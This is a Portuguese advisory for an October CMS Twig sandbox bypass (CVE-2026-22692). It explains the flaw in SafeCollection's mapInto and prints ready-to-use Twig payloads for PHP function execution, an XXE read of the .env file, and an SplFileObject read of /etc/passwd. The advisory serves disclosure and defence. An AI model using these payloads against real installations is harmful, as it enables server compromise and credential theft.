
CVE-2026-22692 - Bypass crítico do sandbox Twig via collect()->mapInto() permitindo RCE/LFI/XXE no October CMS
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2026-22692 |
| Gravidade | Moderada (CVSS:3.1 4.9) |
| Aviso | GHSA-m5qg-jc75-4jp6 |
| Produto Afetado | October CMS (<= 4.1.4, <= 3.7.12) |
| Tipo de Vulnerabilidade | Twig Sandbox Bypass -> RCE, LFI, XXE |
| Descoberto por | Lukasz Rybak |
Existe uma vulnerabilidade crítica no sandbox Twig do October CMS (Modo Seguro) que permite que usuários autenticados com privilégios de edição de templates contornem as restrições de segurança e executem código PHP arbitrário (RCE) ou leiam arquivos arbitrários (XXE/LFI) do servidor.
A causa raiz está localizada em October\Rain\Support\SafeCollection. Essa classe implementa a interface CallsAnyMethod, que informa ao System\Twig\SecurityPolicy para contornar a lista de permissões padrão de métodos para o próprio objeto da coleção.
Embora o SafeCollection tente filtrar argumentos para impedir a execução direta de callables, ele não bloqueia o método mapInto($class). O método mapInto itera sobre a coleção e instancia o nome da classe fornecida:
new $class($value, $key);
Isso permite que um invasor instancie qualquer classe conhecida pela aplicação.
O System\Twig\SecurityPolicy permite explicitamente o método __toString() em todos os objetos. Ao instanciar Psy\Readline\Hoa\Xcallable (que encapsula um callable) e envolvê-lo dentro de um GuzzleHttp\Psr7\FnStream (que chama uma função definida pelo usuário em seu método __toString por meio da propriedade _fn___toString), um invasor pode acionar a execução de funções PHP arbitrárias que não exigem argumentos (ex.: php_uname, phpinfo) simplesmente imprimindo o objeto no Twig.
A classe SimpleXMLElement aceita uma flag de opção do libxml como segundo argumento do construtor. O mapInto() passa a chave da coleção como segundo argumento para o construtor. Ao criar uma coleção com uma chave 2 (que corresponde a LIBXML_NOENT), um invasor pode habilitar a substituição de entidades externas no SimpleXMLElement, levando a XXE imediato e à capacidade de ler arquivos do sistema.
Existe uma vulnerabilidade mais direta de Inclusão Local de Arquivos (LFI) usando a classe nativa do PHP SplFileObject. Ao instanciar SplFileObject com um caminho de arquivo e modo de leitura (passados via mapInto), um invasor obtém um objeto de arquivo iterável. Passar esse objeto para o helper collect() aciona a iteração imediata (via iterator_to_array no núcleo do framework), o que contorna a política de bloqueio de métodos do Sandbox. Isso permite ler qualquer arquivo ao qual o servidor web tenha acesso, sem exigir suporte a XML ou bibliotecas específicas de fornecedores.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd via SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
Execução Remota de Código (RCE), Inclusão Local de Arquivos (LFI), Injeção de Entidade Externa XML (XXE).
/etc/passwd, configuração do banco de dados, .env, etc.) por meio de múltiplos vetores (SimpleXMLElement ou SplFileObject).Isso afeta qualquer instalação do October CMS onde usuários não confiáveis ou semiconfiáveis tenham acesso ao editor de templates do CMS, permitindo efetivamente que eles elevem privilégios para o nível de lógica de Administrador do Sistema / Root.
Este CVE foi divulgado de forma responsável, seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.